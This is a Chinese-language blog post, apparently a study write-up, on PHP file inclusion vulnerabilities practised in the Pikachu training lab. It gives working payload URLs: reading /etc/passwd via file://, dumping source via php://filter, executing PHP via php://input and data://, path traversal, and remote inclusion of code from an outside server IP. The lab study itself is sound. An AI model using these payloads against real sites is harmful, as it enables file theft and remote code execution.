檔案包含-基於Pikachu的學習

Muneyoshi發表於2024-05-04

File_Include(檔案包含)

原理

檔案包含,是一個功能。在各種開發語言中都提供了內建的檔案包含函式,其可以使開發人員在一個程式碼檔案中直接包含(引入)另外一個程式碼檔案。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
這些檔案包含函式,這些函式在程式碼設計中被經常使用到。大多數情況下,檔案包含函式中包含的程式碼檔案是固定的,因此也不會出現安全問題。 但是,有些時候,檔案包含的程式碼檔案被寫成了一個變數,且這個變數可以由前端使用者傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發檔案包含漏洞。 攻擊著會指定一個“意想不到”的檔案讓包含函式去執行,從而造成惡意操作。

環境要求

allow_url_fopen=On(預設為On) 規定是否允許從遠端伺服器或者網站檢索資料
allow_url_include=On(php5.2之後預設為Off) 規定是否允許include/require遠端檔案

檔案包含常見函式

nclude()
require()
include_once()
require_once()

PHP偽協議

CTF中檔案包含漏洞總結-CSDN部落格

PHP偽協議總結 - 個人文章 - SegmentFault 思否

file://

用於訪問本地檔案系統,並且不受allow_url_fopen,allow_url_include影響
file://協議主要用於訪問檔案(絕對路徑、相對路徑以及網路路徑)
比如:

http://www.xxx.com?file=file:///etc/passsword

http://

用於訪問遠端http協議網路路徑的檔案。

http://www.xxx.com?file=http://127.0.0.1/xxx.php

php://

php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filterphp://inputphp://filter用於讀取原始碼php://input用於執行php程式碼

image-20240504174236940

php://filter

image-20240504174418172

php://filter可以獲取指定檔案原始碼。當它與包含函式結合時,php://filter流會被當作php檔案執行。所以我們一般對其進行編碼,讓其不執行。從而導致 任意檔案讀取。

http://www.xxx.com?file=php://filter/resource=xxx.php

可以使用 convert.base64-encode這個過濾器,去將檔案裡面轉成base64去輸出

http://www.xxx.com?file=php://filter/read=convert.base64-encode/resource=xxx.php

php://input

使用php://input,然後再POST資料,我們所輸入的資料會被當作php程式碼去執行,所以我們可以這樣使用

http://www.xxx.com?file=php://input
POST的資料:<?php phpinfo();?>

data://

資料流封裝器,以傳遞相應格式的資料。可以讓使用者來控制輸入流,當它與包含函式結合時,使用者輸入的data://流會被當作php檔案執行。

他是以GET傳遞引數,所以我們可以這樣用

http://www.xxx.com?file=data://text/plain,<?php%20phpinfo();?>
或者是base64編碼
http://www.xxx.com?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

zip://

zip://[壓縮檔案絕對路徑]%23[壓縮檔案內的子檔名](#編碼為%23)

Pikachu

本地檔案包含

開啟題目,選一個引數,發現url改變,並且是file+數字,於是多試了幾次,的確是這樣的

image-20240504175431246

當我嘗試到file6的時候,發現了好東西

image-20240504175547415

試到file7,出現了報錯,路徑都被回顯出來了:

fi_loal.php去包含和他同一個路徑下include資料夾的檔案。

我們就可以根據這個路徑,去訪問其他地方的檔案,這裡我在pikachu-matser下已寫好檔案,我們就訪問他,

<?php phpinfo();?> //檔案內容

image-20240504180854957

image-20240504175620306

然後構造payload:

http://localhost/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../test.txt&submit=%E6%8F%90%E4%BA%A4

image-20240504181825451

成功了。

遠端檔案包含

隨便弄了一個引數,看url有了路徑

image-20240504182832325

這邊是我雲伺服器寫好了檔案,可以直接遠端訪問

http://localhost/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://8.130.131.63/1.txt&submit=%E6%8F%90%E4%BA%A4

image-20240504183405319

成功了!

相關文章